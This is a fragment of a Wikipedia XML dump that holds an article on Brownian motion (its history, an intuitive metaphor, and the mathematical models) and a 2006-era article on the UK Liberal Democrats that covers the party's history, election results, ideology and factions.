*[http://art.net/~coffin/WRITINGS/BEAUTY/beauty.html The Symbol of Beauty] essay by Tom Coffin

[[Category:Aesthetics]]
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[[ja:美]]
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      <text xml:space="preserve">:''This article is about the physical phenomenon.  For the sports team, please see [[Brownian Motion (Ultimate)]].''
[[Image:BrownianMotion.png|thumb|right|256px|An example of 1000 simulated steps of Brownian motion in two dimensions. The origin of the motion is at [0,0] and the ''x'' and ''y'' components of each step are independently and [[normal distribution|normally distributed]] with variance 2 and mean 0.  The mathematical model posits motion in which the steps are not discrete.]]

The term '''''Brownian motion''''' (in honor of the botanist [[Robert Brown (botanist)|Robert Brown]]) refers to either
# The physical phenomenon that minute particles immersed in a fluid move about randomly; or 
# The mathematical models used to describe those random movements.

The mathematical model can also be used to describe many phenomena not resembling (other than mathematically) the random movement of minute particles. An often quoted example is [[stock market]] fluctuations. Another example is the evolution of physical characteristics in the fossil record.

Brownian motion is among the simplest [[stochastic process]]es on a continuous domain, and it is a [[limit (mathematics)|limit]] of both simpler (see [[random walk]]) and more complicated stochastic processes. This [[Universality (dynamical systems)|universality]] is closely related to the universality of the [[normal distribution]]. In both cases, it is often mathematical convenience rather than accuracy as models that motivates their use. All three quoted examples of Brownian motion are cases of this: 

# It has been argued that [[Lévy flight]]s are a more accurate, if still imperfect, model of stock-market fluctuations. 
# The physical Brownian motion can be modelled more accurately by a more general [[diffusion|diffusion process]]. 
# The dust hasn't settled yet on what the best model for the fossil record is, even after correcting for non-[[normal distribution|Gaussian]] data.

== History ==

[[Jan Ingenhousz]] made some observations of the irregular motion of [[carbon]] [[dust]] on [[ethanol|alcohol]] in [[1765]] but Brownian motion is generally regarded as having been discovered by the botanist [[Robert Brown (botanist)|Robert Brown]] in 1827. The story goes that Brown was studying [[pollen]] particles floating in water under the microscope. He then observed minute particles within vacuoles in the pollen grains executing the jittery motion that now bears his name. By doing the same with particles of dust, he was able to rule out that the motion was due to pollen being &quot;alive&quot;, but it remained to explain the origin of the motion. The first to give a theory of Brownian motion was [[Louis Bachelier]] in 1900 in his PhD thesis &quot;The theory of speculation&quot;, but it was [[Albert Einstein]]'s independent solution of the problem in his [[Über die von der molekularkinetischen Theorie der Wärme geforderte Bewegung von in ruhenden Flüssigkeiten suspendierten Teilchen|1905 paper]] that brought the solution to the attention of physicists. (Bachelier's thesis presented a stochastic analysis of the stock and option markets.)

At that time the atomic nature of matter was still a controversial idea. Einstein and [[Marian Smoluchowski]] observed that, if the [[kinetic theory]] of fluids was right, then the molecules of water would move at random and so a small particle would receive a random number of impacts of random strength and from random directions in any short period of time. This random bombardment by the molecules of the fluid would cause a sufficiently small particle to move in exactly the way described by Brown. [[Theodor Svedberg]] made important demonstrations of Brownian motion in [[colloid]]s and [[Felix Ehrenhaft]], of particles of [[silver]] in [[Earth's atmosphere|air]]. [[Jean Perrin]] carried out experiments to test the new mathematical models, and his published results finally put an end to the century-long dispute about the reality of [[atom]]s and [[molecules]].

==Intuitive metaphor for Brownian motion ==

Consider a big balloon (of, say, 10 meters in diameter). Imagine now this big balloon in a football stadium (or any wide crowded place) among the supporters. The balloon is so big that it lies on top of many supporters. Because they are excited, these supporters hit the balloon at different times and in different directions (all possible directions actually). 
In the end, the balloon is pushed in all directions, so it should not move on average. Consider now the force exerted at a certain time.  We might have 20 supporters pushing more to the right, and 21 other supporters pushing more to the left. In this case, the forces exerted from the left side and the right side are unbalanced in favour of the left side, then the balloon will move slightly to the left. This unbalance exists at all times, and favours each time a random direction. 
If we look at this situation from above (from a [[helicopter]] for example), so that we cannot see the supporters, but we see the big balloon as a small object animated by an erratic movement.
Now return to Brown’s [[pollen]] [[particle_(ecology)|particle]] swimming randomly in [[water]]. A water [[molecule]] is about 1 [[nm]], where the [[pollen]] [[particle_(ecology)|particle]] is roughly 1 [[µm]] in diameter,1000 times bigger than a [[water]] [[molecule]] . So the [[pollen]] [[particle_(ecology)|particle]] can be considered as a very big balloon constantly pushed by water molecules, and these molecules are excited by [[temperature]].
In the end, the Brownian motion of particles in a [[liquid]], is due to the instantaneous unbalance in the force exerted by the small liquid molecules on the particle.

A Java Applet animating this idea is available [http://galileo.phys.virginia.edu/classes/109N/more_stuff/Applets/brownian/brownian.html here]

== Description of the mathematical model ==
Mathematically, Brownian motion is a [[Wiener process]] in which the conditional probability distribution of the particle's position at time ''t''&amp;nbsp;+&amp;nbsp;d''t'', given that its position at time ''t'' is ''p'', is a [[normal distribution]] with a [[mean]] of ''p''&amp;nbsp;+&amp;nbsp;&amp;mu;&amp;nbsp;d''t'' and a [[variance]] of &amp;sigma;&lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;d''t''; the parameter &amp;mu; is the drift velocity, and the parameter &amp;sigma;&lt;sup&gt;2&lt;/sup&gt; is the power of the noise.  These properties clearly establish that Brownian motion is Markovian (i.e. it satisfies the [[Markov property]]).  Brownian motion is related to the [[random walk]] problem and it is generic in the sense that many different stochastic processes reduce to Brownian motion in suitable limits.

In fact, the Wiener process is the only time-[[homogeneous]] [[stochastic process]] with [[independent increments]] that has continuous trajectories. These are all reasonable approximations to the physical properties of Brownian motion. 

The mathematical theory of Brownian motion has been applied in contexts ranging far beyond the movement of particles in  fluids. For example, in the modern theory of [[Black-Scholes|option pricing]], asset classes are sometimes modeled as if they move according to a closely related process, [[geometric Brownian motion]].

It turns out that the Wiener process is not a physically realistic model of the motion of Brownian particles. More sophisticated formulations of the problem have led to the mathematical theory of [[diffusion processes]]. The accompanying equation of motion is called the [[Langevin equation]] or the [[Fokker-Planck equation]] depending on whether it is formulated in terms of random trajectories or probability densities.

== Modelling the Brownian motion using differential equations ==

The equations governing Brownian motion related slightly differently to the each of the two definitions of ''brownian motion'' given at the start of this article.

=== Mathematical Brownian motion ===

For a particle experiencing a ''brownian motion'' corresponding to the mathematical definition, the equation governing the time evolution of the [[probability density function]] associated to the position of the Brownian particle is the [[diffusion equation]], a [[partial differential equation]].

The time evolution of the position of the Brownian particle itself can be described approximately by [[Langevin equation]], an equation which involves a random force field representing the effect of the thermal fluctuations of the solvent on the Brownian particle. On long timescales, the mathematical Brownian motion is well described by [[Langevin equation]]. On small timescales, [[Inertia]]l effects are prevalent in [[Langevin equation]]. However the mathematical ''brownian motion'' is exempt of such [[inertia]]l effects. Note that [[inertia]]l effects have to be considered in [[Langevin equation]], otherwise the equation becomes singular, so that simply removing the [[inertia]] term from this equation would not yield an exact description, but rather a singular behavior in which the particle doesn't move at all...

=== Physical Brownian motion ===

The [[diffusion equation]] yields an approximation of the time evolution of the [[probability density function]] associated to the position of the particle undergoing a Brownian movement under the physical definition. The approximation is valid on long timescales (see [[Langevin equation]] for details).

The time evolution of the position of the Brownian particle itself is best described using [[Langevin equation]], an equation which involves a random force field representing the effect of the thermal fluctuations of the solvent on the particle.

== See also ==

* [[Brownian bridge]]
* [[Brownian frontier]]
* [[Red noise]], also known as ''brown noise'' ([[Martin Gardner]] proposed this name for sound generated with random intervals. It is a pun on Brownian motion and [[white noise]].)
* [[Brownian ratchet]]
* [[Brownian tree]]
* [[Diffusion equation]]
* [[Langevin equation]]
* [[Osmosis]]
* [[Ultramicroscope]]

== References ==

* Brown, Robert, &quot;A brief account of microscopical observations made in the months of June, July and August, 1827, on the particles contained in the pollen of plants; and on the general existence of active molecules in organic and inorganic bodies.&quot; Phil. Mag. 4, 161-173, 1828. [http://sciweb.nybg.org/science2/pdfs/dws/Brownian.pdf (PDF version of original paper including a subsequent defense by Brown of his original observations, ''Additional remarks on active molecules''.)]
* Einstein, A. &quot;Über die von der molekularkinetischen Theorie der Wärme geforderte Bewegung von in ruhenden Flüssigkeiten suspendierten Teilchen.&quot; Ann. Phys. 17, 549, 1905. [http://www.wiley-vch.de/berlin/journals/adp/549_560.pdf]
* Einstein, A. Investigations on the Theory of Brownian Movement. New York: Dover, 1956. ISBN 0486603040
* Nelson, Edward, ''Dynamical Theories of Brownian Motion'' (1967) &amp;nbsp; [http://www.math.princeton.edu/~nelson/books.html (PDF version of this out-of-print book, from the author's webpage.)]

== External links ==
*[http://www.ap.stmarys.ca/demos/content/thermodynamics/brownian_motion/brownian_motion.html A page describing Brownian motion.]
*[http://galileo.phys.virginia.edu/classes/109N/more_stuff/Applets/brownian/applet.html Brownian motion java simulation]
*[http://xxx.imsc.res.in/abs/physics/?0412132 Article for the school-going child]
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*[http://theory.tifr.res.in/~bhalerao/ Powerpoint presentation]
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[[ar:حركة براونية]]
[[ca:Moviment brownià]]
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[[pl:Ruchy Browna]]
[[pt:Movimento browniano]]
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[[sk:Brownov pohyb]]
[[sl:Brownovo gibanje]]
[[su:Gerak Brown]]
[[sv:Brownsk rörelse]]
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[[zh:布朗運動]]</text>
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      <text xml:space="preserve">{{dab current|Liberal Democrats leadership election, 2006}}
{{dablink|For similarly named parties in other countries, see [[Liberal Democratic Party]].}}
{{Infobox_British_Political_Party |
  party_name     = Liberal Democrats |
  party_articletitle = Liberal Democrats (UK) |
  party_logo     = [[Image:Libdemslogo.png|200px|Lib Dem &quot;Bird of Freedom&quot; logo]] |
  leader = [[Menzies Campbell|Sir Menzies Campbell]]&lt;br&gt;|
  foundation     = 1988 |
  ideology = [[Liberalism]]|
  international = [[Liberal International]]|
  european = [[European Liberal Democrat and Reform Party]] |
  europarl = [[Alliance of Liberals and Democrats for Europe]] |
  colours = [[Gold (color)|Gold]] |
  headquarters   = 4 Cowley Street &lt;br&gt; [[London]], SW1P 3NB |
  website = [http://www.libdems.org.uk/ www.libdems.org.uk]
}}

The '''Liberal Democrats''', often shortened to '''Lib Dems''', are a [[liberalism|liberal]] [[political party]] in the [[United Kingdom]]. The party was formed in 1988 by the merger of the [[Liberal Party (UK)|Liberal Party]] and the short lived [[Social Democratic Party (UK)|Social Democratic Party]]; the two parties had already been [[SDP-Liberal Alliance|in an alliance]] for some years prior to this.

The Lib Dems are currently the third-largest party in the [[Parliament of the United Kingdom|UK Parliament]], behind [[Labour Party (UK)|Labour]] and the [[Conservative Party (UK)|Conservatives]], with 63 [[Member of Parliament|Members of Parliament]] elected at the [[United Kingdom general election, 2005|general election of 2005]] and one from the [[Dunfermline and West Fife by-election, 2006|Dunfermline and West Fife by-election]]. In the [[Scottish Parliament]], they form a coalition [[Scottish Executive]] with Labour, where the Lib Dems supply the [[Deputy First Minister of Scotland|Deputy First Minister]], currently [[Nicol Stephen]].

The party is led by Sir [[Menzies Campbell]], who became leader on [[2 March]], [[2006]]. Prior to this appointment he was the acting leader of the party. He won 44.7% of the first preference votes, which rose to 57.1% when second preferences were counted [http://www.libdems.org.uk/news/story.html?navPage=news.html&amp;id=9802]. He was the early favourite but had to beat off a strong challenge from [[Chris Huhne]]. See ''[[Liberal Democrats leadership election, 2006]]'' for more information. After the election, [[Norman Baker]] stepped down from his role as shadow Environment Minister. 

The Liberal Democrats claim they do not easily fit into the [[Political_spectrum#Left_and_Right|&quot;left-right]]&quot; political spectrum. However, most political observers believe that the party has moved to the left since the war in Iraq, taking up '[[Labour Party (UK)|Old Labour]]' issues such as lower subsidies on high earners, higher levels of government spending and extended enfranchisement (to 16-year-olds and, controversially, the imprisoned). Generally promoting politically and socially liberal policies, the Liberal Democrats describe themselves as being concerned with the use of power in British and international society. They are also wary of the power of the state over individuals, and as a principle seek to minimise state intervention in personal affairs. Because of this, the party opposed British participation in the war in Iraq, and are considered the most pro-European party in British politics.

Economically, it is not a party founded on economic class interest, but it does espouse some degreee of [[economic liberalism|economic liberal]] doctrine. However, unlike some [[List of liberal parties|liberal parties]] in other countries, it does not place economic liberalisation at the front of its policy objectives. Instead the party has historically combined a strong commitment to [[social justice]], social provision and the [[welfare state]] with a strong belief in economic freedom and competitive markets wherever possible, particularly when interference is seen as an example of the &quot;nanny state&quot;, which many liberal MPs speak of with disgust.

In the 2006 leadership election, the party had three individuals, regarded as being representative of three wings of the party, standing for election.

Inside Liberal Democrats there exists a [[market liberalism|market liberal]] wing aligned around the [[Liberal Future]] think tank. In 2005, after the general elections, the then-leader of the party, [[Charles Kennedy]], promised a change of Liberal Democrat policy and chose in his [[Liberal Democrat Frontbench Team|Shadow Cabinet]] several MPs who had contributed to the [[The Orange Book - Reclaiming Liberalism|Orange Book]], which suggested a more market liberal direction for various areas of policy. Much of the Orange Book was a restatement of existing party policy, but some more dissenting chapters were intended to spark internal policy debate along market liberal lines; many commentators interpreted this as a swing to the right. This group has support with many of the party donors and in the press, as well as among many of the non-urban elected officials of the party.

The second wing of the party, with strong support in the metropolitian MPs and with many party activists, is more in line with [[modern liberalism]] of Keynesian economic theory, active government in support of free markets. They are centered around [[Simon Hughes]] who finished third in the 2006 leadership contest.

The third broad wing of the party consists of the core of the party apparatus, and many of the long standing party leaders. Committed neither to &quot;Orange Book&quot; reforms, nor to Hughes more active government, they are more concerned with reducing the size of the national government and protecting individual liberties, while more equitably distributing the tax burden.

According to accounts filed with the [[Electoral Commission]] for the year ending [[31 December]] [[2004]], the party had 72,721 members, and had a budget of about £3,700,000. [http://www.electoralcommission.org.uk/templates/search/document.cfm/13199] 4,300 of these members are from [[Scotland]] [http://www.theherald.co.uk/politics/55743.html]

[[Image:Menzies Campbell.jpg|right|thumb|Menzies Campbell - Leader of the Liberal Democrats]]

==History of the Liberal Democrats==
===Founding===
The Liberal Democrats are descended from the [[Liberal Party (UK)|Liberal Party]] which dominated British politics for much of the nineteenth and early twentieth centuries.

Having declined to third party status after the rise of the [[Labour Party (UK)|Labour Party]] in 1922, the Liberals found themselves challenged for their place as the centrist party of British politics in the 1980s, when in 1981, with the Labour Party moving to the left, a group of moderate Labour MPs broke away and established the [[Social Democratic Party (UK)|Social Democratic Party]] (SDP), claiming to preserve previous Labour Party traditions. The SDP and the Liberals soon realised that there was no place for two centrist political parties, and entered into [[SDP-Liberal Alliance|an alliance]] so that they would not stand against each other in elections. The two parties drew up their own policies and had different emphases, but produced a joint [[manifesto]] for the [[United Kingdom general election, 1983|1983]] and [[United Kingdom general election, 1987|1987]] General Elections. Initially the Alliance was led by [[David Steel]] (Liberal) and [[Roy Jenkins]] (SDP), and later by Steel and [[David Owen]] (SDP).

In 1987, following disappointing results in that year's general election, Steel proposed a merger of the two parties. Although opposed by David Owen, it was supported by a majority of members of each and the two parties formally merged in 1988, with David Steel and [[Robert Maclennan]] (who had become SDP leader in August 1987) as interim joint leaders. At the time of the merger, in 1988, the party took the name '''Social and Liberal Democrats''' (SLD). After briefly shortening its name to '''The Democrats''', it changed to the current name of '''Liberal Democrats''' in October 1989, which is now frequently shortened to &quot;Lib Dems&quot;. 

The minority of the SDP who rejected the merger remained under David Owen's leadership. Some Liberals disliked the direction the party was going in after [[Paddy Ashdown]]'s [[Liberal Democrats leadership election, 1988|election as leader]] and created a new party which revived the name &quot;[[Liberal Party (UK, 1989)|Liberal Party]]&quot;.

===Post-1988 history===
[[Image:Simon Hughes.jpg|thumb|right|[[Simon Hughes]], Lib Dem president]]
The former Liberal MP Ashdown became leader of the party in 1988, and under his leadership the party's support grew steadily. Although the Lib Dems did not immediately manage to repeat the 20%+ shares of national vote which the SDP/Liberal alliance had achieved in the 1980s, they did manage to more than double their representation in Parliament at the [[United Kingdom general election, 1997|1997 General Election]] to 46 seats, and become a major force in local government throughout the decade.

Following [[Tony Blair]]'s election as leader of the Labour Party in 1994, Ashdown controversially pursued a policy of cooperation between the two parties (with the two leaders even allegedly agreeing to form a coalition government). However this [[Lib-Lab Pact]] failed to materialise when it became apparent to the Liberal Democrats that Labour would not introduce [[proportional representation]] and other key Liberal Democrat demands. Labour's massive majority after the 1997 general election also meant that Blair lost interest in pursuing the issue, and some senior Labour politicians (e.g. [[John Prescott]]) were strongly opposed to a coalition.

Ashdown retired as leader in 1999 and [[Charles Kennedy]] was [[Liberal Democrats leadership election, 1999|elected as his replacement]]. Kennedy was originally the only SDP MP who fully supported the merger. The party improved on their 1997 results at the [[United Kingdom general election, 2001|2001 general election]], winning more seats and increasing their share of the vote.

In recent times the Liberal Democrats have won support due to their opposition to the [[2003 invasion of Iraq|war on Iraq]], and Charles Kennedy has expressed his intention for his party to replace the [[Conservative Party (UK)|Conservatives]] as the main opposition. The party won seats from [[Labour Party (UK)|Labour]] in [[by-election]]s in [[Brent East by-election, 2003|Brent East]] (2003) and [[Leicester South by-election, 2004|Leicester South]] in 2004, and narrowly missed taking others in [[Birmingham Hodge Hill by-election, 2004|Birmingham Hodge Hill]] and [[Hartlepool by-election, 2004|Hartlepool]].

However the Liberal Democrats are currently engaged in a debate on their future national direction. The party's increased support in recent years has come from both former Labour and former Conservative voters, due to the Lib Dems' positions on issues that unite the Labour left with liberal Conservatives: [[civil liberties]], [[electoral reform]], the [[War in Iraq]] and matters of ''trust'' and ''open government''. However, whilst these two groups of potential supporters might agree with the party on these 'Lib Dem issues' (and disagree with the perceived authoritarianism of the government and main opposition), matters of economic policy present an obvious gap between the two groups that the party are still debating how and whether to bridge.

At the [[United Kingdom general election, 2005|2005 general election]], the Liberal Democrats gained their highest share of the vote since the days of the [[SDP-Liberal Alliance]], and got 62 seats (their highest since [[United Kingdom general election, 1923|1923]]). However, many had anticipated that this election would prove to be the Lib Dem's great breakthrough at Westminster, with some party activists even hoping to reach 100 MPs. From this perspective, 2005 could be considered a wasted opportunity for the Liberal Democrats, although many commentators point to the unfairness of an [[first-past-the-post|electoral system]] that lets the party get around one-quarter of the total votes but only one-tenth of the parliamentary seats.

One of the more interesting trends observed at the election was the Lib Dems replacing the Conservatives as Labour's main opponents in many urban areas. Many of the party's gains came in previously Labour-held urban constituencies (e.g. [[Manchester Withington (UK Parliament constituency)|Manchester Withington]], [[Cardiff Central (UK Parliament constituency)|Cardiff Central]], [[Birmingham Yardley (UK Parliament constituency)|Birmingham Yardley]]), and the party also notably achieved over 100 second-place finishes behind Labour candidates. The long-term implications of this trend in British politics could be profound, since the British electoral system makes it nearly impossible for the Conservatives to return a government without winning some city seats (such as the now Lib Dem [[Bristol West (UK Parliament constituency)|Bristol West]] constituency, which the Conservatives held until 1997, but where they finished third last time).

Though the 2005 elections seemed to mark a resurgence in the fortunes of the Liberal Democrats as a political force, commentators from both left and right have seen in those results the unusual combination of a weak Conservative opposition and an unpopular Labour government which voters nevertheless wanted returned to power; the importance of the invasion of Iraq as a political issue is often quoted as contributing to Labour voters defecting to the Lib Dems. The very real threat posed by the Lib Dems to the Conservative Party also contributed to the election of a new Conservative leader in late 2005 who is perceived to be more 'liberal' and dynamic than any of his recent predecessors. With the Conservatives now ahead of the Labour Party in opinion polls, and the likelihood of a new Labour leader in the coming years, the leadership of Charles Kennedy was called into question by a number of Liberal Democrats in Parliament.

In a personal statement on [[5 January]] [[2006]] Charles Kennedy admitted a long personal battle with alcoholism, and announced a [[Liberal Democrats leadership election, 2006|leadership election]]. Kennedy resigned on January 7th with immediate effect and confirmed that he will not be standing in this election. Sir [[Menzies Campbell]], in his then role as deputy leader, became acting leader and was the eventual victor of the [[Liberal Democrats leadership election, 2006]] anounced on March 2nd 2006.

==Electoral results==
In post-war [[United Kingdom general elections]] they have emerged as the third most popular party behind [[Labour Party (UK)|Labour]] and the [[Conservative Party (UK)|Conservatives]]. In recent elections, the Liberal Democrats (or their precursor Alliance) have gained between 15% and 25% of the national vote. 

{| class=&quot;wikitable&quot;
|-
|'''Election'''
| '''Name'''
| '''Share of Votes'''
| '''Seats'''
|-
| [[United Kingdom general election, 1983|1983]]
| SDP-Liberal Alliance
| 25.4%
| 23
|-
| [[United Kingdom general election, 1987|1987]]
| SDP-Liberal Alliance
| 22.6%
| 22
|-
| [[United Kingdom general election, 1992|1992]]
| Liberal Democrats
| 17.8%
| 20
|-
| [[United Kingdom general election, 1997|1997]]
| Liberal Democrats
| 16.8%
| 46
|-
| [[United Kingdom general election, 2001|2001]]
| Liberal Democrats
| 18.3%
| 52
|-
| [[United Kingdom general election, 2005|2005]]
| Liberal Democrats
| 22.0%
| 62
|}

The British [[first past the post electoral system]] does not reward parties whose vote is evenly divided across the nation with many seats in Parliament, and the Liberal Democrats and their forerunners have suffered in particular. This was especially true in 1983 and 1987 when their popular electoral support was greatest; their increase in the number of seats in 1997 and 2001 was largely due to the weakness of the Conservative Party in the later elections. 

The Liberal Democrats have generally performed better in local elections, and are a more significant force in local government, with 27 councils under Liberal Democrat majority control, and Lib Dems in joint control of many others. They have generally performed more poorly in elections to the [[European Parliament]]: for example in elections on [[10 June]] [[2004]], the LibDem national share of the vote was 29% (giving them second place, ahead of Labour) in the local elections that day but only 15% in the simultaneous [[European Parliament Election 2004|European elections]] (putting them in fourth place behind the [[United Kingdom Independence Party]]).

They have been coalition partners with Labour in the [[Scottish Parliament]] since its re-establishment in 1999, and were also in [[Lib-Lab Pact|coalition]] with Labour in the [[National Assembly for Wales]] from 1999 to 2003.

==Ideology==
The Liberal Democrats describe their ideology as giving &quot;power to the people&quot;. They state they are against the undemocratic concentration of power in unaccountable bodies. They propose decentralisation of power, out of Westminster and into the hands of the people. They would also create a system of tiered government structures to make decisions at what they see as the right level, including regional assemblies, the European Union, and international organisations.

In keeping with the principle of decentralisation of power, the Liberal Democrats are keen protectors of [[civil liberties]] and oppose intervention of the state in personal affairs. For this reason, they have been popular amongst [[gay rights]] campaigners and campaigners for the decriminalisation of recreational drugs. However, a [[YouGov]] poll shows support for the Lib Dems fell [http://www.yougov.com/archives/pdf/trackerPolitical_060127.pdf] after the [[Mark Oaten]] affair.

Their opponents point to their support for the [[European Convention on Human Rights]], even when its theories on [[separation of powers]] leads to more power being given to judges and regulatory bodies rather than elected politicians. They point to the Lib Dem desire for local decision making, and their complaints that different decisions in different locations can lead to a &quot;[[postcode lottery]]&quot; in the provision of public services. They also express surprise that the Lib Dems are so [[Pro-European|supportive of the European Union]], even when that results in decisions being taken at a higher rather than a lower level. They are also criticised for not calling for reform of the [[European parliament]] despite the fact that different countries are not represented equally, which contradicts their ideology of 'giving power to the people'.

===Left wing or right wing?===
Since the governments of [[Herbert Henry Asquith]] and [[David Lloyd George]] the Liberal Democrats and their precursor Liberal party have been seen as the centrist party of British politics. However, with [[Tony Blair]]'s repositioning of Labour to the right, some now view the Lib Dems as being the most left-wing of the United Kingdom's mainstream parties and many classify the Lib Dems as [[centre left]]. Lib Dems opposed the [[2003 invasion of Iraq|2003 Invasion of Iraq]], although they were the strongest advocates of the [[Kosovo War]] and before that, intervention in [[Bosnian War|Bosnia]]. They favour a higher top rate of tax, but have also advocated 'pro-market' policies such as [[post office]] [[privatization]] and banning [[strike action|strikes]] in [[emergency service]]s.

Some claim that attempting to place the Liberal Democrats within the [[left-right politics|'left wing'-'right wing']] model does not accurately represent their ideology. For example, when Lib Dems oppose the power of the trade unions, they are seen as right wing. When they oppose the power of the corporations, they are seen as left wing. Whilst this is an opposition to unaccountable [[power (sociology)|power]], it is sometimes argued that they do not fit well inside the left-right axis of twentieth century British politics.

However, others argue that this is consistent with both twentieth and twenty first century British politics, which is in turn an example of the traditional left-right spectrum of political analysis. When the Lib Dems oppose the trade unions, they do so from the centre of the political spectrum with the trade unions being to the left of them. When the Lib Dems oppose the power of the large corporations, they still do this from the centre of the political spectrum with the difference being that the corporations are to the right of them. According to this view, liberalism or political centrism is consistent with a left-right analysis of politics.

In regard to the claim that the Lib Dems are to the left of New Labour, this is due to the fact that the New Labour hierarchy have deliberately courted Conservative voters and even Conservative politicians on the basis that if they take the centre ground from the other parties, they gain power. They do this in the knowledge that their own voters have nowhere realistic to the left of Labour to turn, so the Lib Dems have tried to accommodate these people to a degree (e.g. celebrity &quot;Marxist&quot; [[Tariq Ali]] implored Londoners to vote Lib Dem before the 2005 general election over the Iraq war). However, this has led to massive voter disillusion and the lowest percentage General Election turnouts in the last two elections (2001 and 2005) since universal manhood suffrage was introduced in 1918. This is mainly caused by previous Labour voters abstaining. This shift in the political direction of Labour was begun in the 1980s but accelerated in response to the party's fourth consecutive election defeat in 1992.

There was a discussion in the Lib Dems at their conference in September 2005 as to whether the social liberal ideals have taken them as far as they can go, and whether they should now move back to the right in order to court Conservative voters. This would involve abolishing policies such as a 50% tax rate for those who earn over £100,000 which have been used by the Conservative supporting press to paint the party as 'left wing' and as such, risks votes in Lib Dem / Conservative marginals. Proponents of this say that left wing policies could see the Lib Dems losing marginal seats to the Conservatives that are vital to becoming the new opposition to a Labour government.

Ideological disputes aside, it is likely that the Lib Dems will only ever see power if a [[proportional representation]] voting system is brought in (short of a major shift in British politics). This is the arrangement that [[Paddy Ashdown]] agreed with Tony Blair before the 1997 election, until Blair discovered he could win huge landslide victories under [[first-past-the-post]] without any need for sharing power with the Lib Dems.

===Policies===
The Liberal Democrats' constitution speaks of &quot;a fair, free and open society, in which we seek to balance the fundamental values of liberty, equality and community, and in which no-one shall be enslaved by poverty, ignorance or conformity. We champion the freedom, dignity and well-being of individuals&quot;. To this end:

* They support [[civil liberties]], and have opposed the more authoritarian of Labour's [[Anti-terrorism, Crime and Security Act 2001|anti-terror laws]] (e.g. detention without trial).
* They support more open government, including substantial reforms to increase [[parliament]]ary oversight of the [[executive (government)|executive]].
* They are [[federalist]]s and support the decentralisation of power to the lowest possible level.
* They support &quot;free education for all&quot; and propose to abolish [[university]] [[top-up fees|tuition fees]] and set up a system of Government grants for university students.
* They propose a substantial non-means tested increase in pensions.
* They are in favour of a new 50% rate of [[income tax]] on incomes over £100,000 per year, the revenue from which would be used to abolish tuition fees, restore student maintenance grants and provide free personal care throughout the UK; the balance would be used to keep the rate of local taxation down.
* They support anti-discrimination laws. 25 Lib Dem MPs signed [http://edmi.parliament.uk/EDMi/EDMDetails.aspx?EDMID=29000 EDM710] calling on the government to extend the protections for religious groups, in respect of discrimination in the provisions of goods, facilities and services, to lesbians and gay men. 
* They are in favour of introducing a local income tax in place of the current [[council tax]], which is collected based on the value of the taxpayer's house in 1991.
* They are in favour of full UK participation in the [[European Union]] and an early referendum on joining the [[Euro]], which they support.
* They are in favour of [[proportional representation]] for elections to both the [[United Kingdom House of Commons|House of Commons]] and a second chamber to replace the [[House of Lords]], preferably by the [[Single Transferable Vote|STV]] system.

The most well-known Liberal Democrat policy for most of the 1990s was to increase the basic rate of [[income tax]] by one percent to fund public services (especially education). This proposal was recently abandoned after [[Tony Blair]]'s [[Labour Party (UK)|Labour]] government increased [[national insurance]] contributions by the same amount, a policy with much the same effect. Their current fiscal policies aim at increasing the top rate of income tax by 10 percent to 50% for those earning over £100,000 to fund their increased public spending plans, and to replace [[Council Tax]] with local income taxes. In 2003 the Liberal Democrats started to make their long-held pledge to abolish Council Tax a centrepiece of their campaign. 

In relation to the [[2003 invasion of Iraq|2003 Iraq war]], the Liberal Democrats opposed UK participation prior to the conflict, but stated that they would support UK forces that had been ordered to fight while it was taking place. After the initial military action was completed, they renewed their political opposition.

The period after 2001 saw an internal discussion about the right policies for the party on economics and public spending, with some party members advocating that the party position itself as a defender of the traditional [[welfare state]] in order to gain support from those who had previously voted [[Labour Party (UK)|Labour]]. Others, most notably [[Mark Oaten]], advocated a policy of smaller government and ''[[laissez-faire]]'' (the &quot;[[The Orange Book - Reclaiming Liberalism|Orange Book]]&quot; published in 2004 was an example of this wing of the Liberal discussion). The party announced its policy of abolishing the [[Department for Trade and Industry]] in 2004.

Current party policies can be found on the party website:
*[http://www.libdems.org.uk/party/policy/manifesto.html Most recent manifesto] (external link)
*[http://www.libdems.org.uk/party/policy/paperlist.html Detailed policy papers] (external link)

The Liberal Democrats are a member party of the [[Liberal International]] and the [[European Liberal Democrat and Reform Party]] and their 12 MEPs form part of the [[Alliance of Liberals and Democrats for Europe|ALDE]] group in the [[European Parliament]].

===Green liberalism===
'''[[Green Liberalism]]''' is a term used to refer to [[liberals]] who have incorporated [[Green Politics|green]] concerns into their [[ideology]]. Within the Liberal Democrats, this trend is represented by the Green Liberal Democrats.

===Proportional Representation===

Unlike the other main [[political parties]] in the United Kingdom, the Lib Dems have always strongly advocated '''[[Proportional Representation]]'''. This has always been a cornerstone of the Party's policies, and on many occasions in the past has been cited as a key requirement of any Lib Dem involvement in a [[coalition government]].

Both the Liberal Democrats and its [[Liberal Party (UK)|Liberal]] and [[SDP (UK)|SDP]] predecessors have suffered under the current [[first past the post]] voting system. This is because they have maintained a substantial part of the popular vote, whilst being unable to focus that support in specific [[constituency|constituencies]]. This has been less of a problem in the 2001 and 2005 general elections, with the party focusing its resources on key winnable constituencies. Many credit this to the party's cheif election strategist [[Lord Rennard]].

There is currently a debate within the party as to whether it should remain such a high profile issue.

==Internal factions==
Broadly speaking, Liberal Democrats can be classified into two main political factions:

'''[[Modern liberalism|Social liberals]]''' have dominated the party since its formation in 1988. Drawing inspiration from the likes of [[David Lloyd George]], [[William Beveridge]] and [[John Maynard Keynes]], individuals from this wing of the party are keen advocates of the [[welfare state]] and of government regulation to protect consumers, employees and the environment. As with any form of liberalism, support for [[civil liberties]] and [[human rights]] are also key to the social liberal outlook. Modern examples of social liberals within the parliamentary party include [[Menzies Campbell]], [[Paul Holmes (politician)|Paul Holmes]] and [[Norman Baker]].

The '''[[Market_liberalism|economic liberal]]''' wing of the party share with the social liberals a belief in freedom. However, whereas the social liberals often argue in favour of [[positive liberty]] (using the power of the state to enhance the freedoms of its citizens), libertarians take a relatively non-interventionist approach to the economy, which emphasises [[negative liberty]]. This often manifests itself as support for greater [[economic freedom]], causing some tension between the two wings of the party. The two leading economic liberals within the party are [[Mark Oaten]] and [[Vincent Cable]]. Many commentators have argued that the senior positions held by these two MPs has led to a 'rightwards' shift in Lib Dem thinking in recent years, though it should be noted that former party leader [[Charles Kennedy]] (and the majority of the party membership) is closer to the social liberal position.

